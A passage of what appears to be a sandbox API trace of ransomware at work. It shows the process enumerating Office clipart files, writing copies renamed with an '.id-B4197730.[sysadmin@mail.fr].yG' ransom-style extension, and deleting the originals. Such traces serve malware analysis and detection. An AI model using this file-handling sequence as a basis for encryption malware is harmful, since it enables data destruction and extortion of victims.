	[0053.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.067] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.067] lstrlenW (lpString="AN04191_.WMF") returned 12
	[0053.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.067] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6636) returned 1
	[0053.067] CloseHandle (hObject=0x348) returned 1
	[0053.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220
	[0053.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.068] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.068] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0053.068] GetLastError () returned 0x0
	[0053.068] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x19ec, lpOverlapped=0x0) returned 1
	[0053.101] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0053.101] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.101] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.102] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.102] CloseHandle (hObject=0x2ec) returned 1
	[0053.102] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.102] SetEndOfFile (hFile=0x348) returned 1
	[0053.103] CloseHandle (hObject=0x348) returned 1
	[0053.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1
	[0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.109] lstrlenW (lpString=".doc") returned 4
	[0053.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.109] lstrlenW (lpString=".docx") returned 5
	[0053.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.109] lstrlenW (lpString=".pdf") returned 4
	[0053.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.109] lstrlenW (lpString=".xls") returned 4
	[0053.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.109] lstrlenW (lpString=".xlsx") returned 5
	[0053.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.109] lstrlenW (lpString=".ppt") returned 4
	[0053.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.109] lstrlenW (lpString=".zip") returned 4
	[0053.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.109] lstrlenW (lpString=".rar") returned 4
	[0053.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.109] lstrlenW (lpString=".bz2") returned 4
	[0053.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.109] lstrlenW (lpString=".7z") returned 3
	[0053.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.110] lstrlenW (lpString=".dbf") returned 4
	[0053.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.110] lstrlenW (lpString=".1cd") returned 4
	[0053.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.110] lstrlenW (lpString=".jpg") returned 4
	[0053.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.110] lstrlenW (lpString=".doc") returned 4
	[0053.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString=".docx") returned 5
	[0053.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.110] lstrlenW (lpString=".pdf") returned 4
	[0053.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString=".xls") returned 4
	[0053.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.110] lstrlenW (lpString=".xlsx") returned 5
	[0053.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.110] lstrlenW (lpString=".ppt") returned 4
	[0053.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.110] lstrlenW (lpString=".zip") returned 4
	[0053.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.110] lstrlenW (lpString=".rar") returned 4
	[0053.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString=".bz2") returned 4
	[0053.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.110] lstrlenW (lpString=".7z") returned 3
	[0053.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.111] lstrlenW (lpString=".dbf") returned 4
	[0053.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.111] lstrlenW (lpString=".1cd") returned 4
	[0053.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0053.111] lstrlenW (lpString=".jpg") returned 4
	[0053.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.111] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.111] lstrlenW (lpString="AN04206_.WMF") returned 12
	[0053.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.119] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7668) returned 1
	[0053.119] CloseHandle (hObject=0x34c) returned 1
	[0053.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220
	[0053.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.127] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.127] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.144] GetLastError () returned 0x0
	[0053.144] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1df4, lpOverlapped=0x0) returned 1
	[0053.163] WriteFile (in: hFile=0x35c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1e00, lpOverlapped=0x0) returned 1
	[0053.166] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.166] WriteFile (in: hFile=0x35c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.166] SetEndOfFile (hFile=0x35c) returned 1
	[0053.166] CloseHandle (hObject=0x35c) returned 1
	[0053.167] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.167] SetEndOfFile (hFile=0x334) returned 1
	[0053.168] CloseHandle (hObject=0x334) returned 1
	[0053.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.169] lstrlenW (lpString=".doc") returned 4
	[0053.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.169] lstrlenW (lpString=".docx") returned 5
	[0053.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.169] lstrlenW (lpString=".pdf") returned 4
	[0053.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.169] lstrlenW (lpString=".xls") returned 4
	[0053.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.169] lstrlenW (lpString=".xlsx") returned 5
	[0053.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.169] lstrlenW (lpString=".ppt") returned 4
	[0053.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.169] lstrlenW (lpString=".zip") returned 4
	[0053.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.169] lstrlenW (lpString=".rar") returned 4
	[0053.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.169] lstrlenW (lpString=".bz2") returned 4
	[0053.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.169] lstrlenW (lpString=".7z") returned 3
	[0053.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.169] lstrlenW (lpString=".dbf") returned 4
	[0053.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.169] lstrlenW (lpString=".1cd") returned 4
	[0053.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.170] lstrlenW (lpString=".jpg") returned 4
	[0053.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.170] lstrlenW (lpString=".doc") returned 4
	[0053.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString=".docx") returned 5
	[0053.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.170] lstrlenW (lpString=".pdf") returned 4
	[0053.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString=".xls") returned 4
	[0053.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.170] lstrlenW (lpString=".xlsx") returned 5
	[0053.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.170] lstrlenW (lpString=".ppt") returned 4
	[0053.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.170] lstrlenW (lpString=".zip") returned 4
	[0053.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.170] lstrlenW (lpString=".rar") returned 4
	[0053.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString=".bz2") returned 4
	[0053.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.170] lstrlenW (lpString=".7z") returned 3
	[0053.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.171] lstrlenW (lpString=".dbf") returned 4
	[0053.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.171] lstrlenW (lpString=".1cd") returned 4
	[0053.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0053.171] lstrlenW (lpString=".jpg") returned 4
	[0053.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.171] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.171] lstrlenW (lpString="AN04269_.WMF") returned 12
	[0053.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.171] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=2016) returned 1
	[0053.171] CloseHandle (hObject=0x334) returned 1
	[0053.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220
	[0053.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.172] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.172] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.172] GetLastError () returned 0x0
	[0053.172] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x7e0, lpOverlapped=0x0) returned 1
	[0053.202] WriteFile (in: hFile=0x35c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0053.203] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.203] WriteFile (in: hFile=0x35c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.203] SetEndOfFile (hFile=0x35c) returned 1
	[0053.203] CloseHandle (hObject=0x35c) returned 1
	[0053.204] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.204] SetEndOfFile (hFile=0x334) returned 1
	[0053.205] CloseHandle (hObject=0x334) returned 1
	[0053.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1
	[0053.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.205] lstrlenW (lpString=".doc") returned 4
	[0053.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.205] lstrlenW (lpString=".docx") returned 5
	[0053.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.205] lstrlenW (lpString=".pdf") returned 4
	[0053.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.205] lstrlenW (lpString=".xls") returned 4
	[0053.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.205] lstrlenW (lpString=".xlsx") returned 5
	[0053.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.205] lstrlenW (lpString=".ppt") returned 4
	[0053.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString=".zip") returned 4
	[0053.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.206] lstrlenW (lpString=".rar") returned 4
	[0053.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString=".bz2") returned 4
	[0053.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString=".7z") returned 3
	[0053.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString=".dbf") returned 4
	[0053.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString=".1cd") returned 4
	[0053.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString=".jpg") returned 4
	[0053.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString=".doc") returned 4
	[0053.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString=".docx") returned 5
	[0053.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.206] lstrlenW (lpString=".pdf") returned 4
	[0053.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString=".xls") returned 4
	[0053.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.206] lstrlenW (lpString=".xlsx") returned 5
	[0053.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.206] lstrlenW (lpString=".ppt") returned 4
	[0053.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.206] lstrlenW (lpString=".zip") returned 4
	[0053.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.206] lstrlenW (lpString=".rar") returned 4
	[0053.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.207] lstrlenW (lpString=".bz2") returned 4
	[0053.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.207] lstrlenW (lpString=".7z") returned 3
	[0053.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.207] lstrlenW (lpString=".dbf") returned 4
	[0053.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.207] lstrlenW (lpString=".1cd") returned 4
	[0053.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
